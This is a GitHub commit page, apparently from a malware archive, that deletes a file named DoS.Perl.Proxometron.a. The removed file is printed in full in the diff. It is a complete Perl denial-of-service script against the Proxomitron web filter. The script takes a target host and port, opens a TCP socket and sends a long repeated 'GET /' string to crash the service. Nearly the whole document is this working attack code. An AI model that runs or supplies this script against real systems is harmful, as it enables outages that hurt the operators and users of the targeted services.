Delete DoS.Perl.Proxometron.a

na
This commit is contained in:
vxunderground 2020-11-14 01:20:30 -06:00 committed by GitHub
parent 3c4263c3d0
commit 387e93ba7b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,34 +0,0 @@
#####################################################
# Proxomitron - Universial Web Filter - Version 3 #
# Dos Attack. #
#####################################################
use IO::Socket;
$ARGC=@ARGV;
if ($ARGC !=2) {
print "\n-->";
print "\tUsage: perl dos-prox.pl <host> <port>\n";
exit;
}
$vic = $ARGV[0]; # There IP
$Uport = $ARGV[1]; # There Web Port
$SendStr = "GET /" x 1000; # Crash String
print "\n-->";
print "\tCrashing:$vic on:$Uport\n";
unless ($socket2 = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $vic,
PeerPort => $Uport))
{
print "-->";
print "\tConnection Failed, Stoping.\n";
exit;
}
print $socket2 "GET $SendStr\n";
close $socket2;
print "-->";
print "\tCrashed:$vic\n";
exit;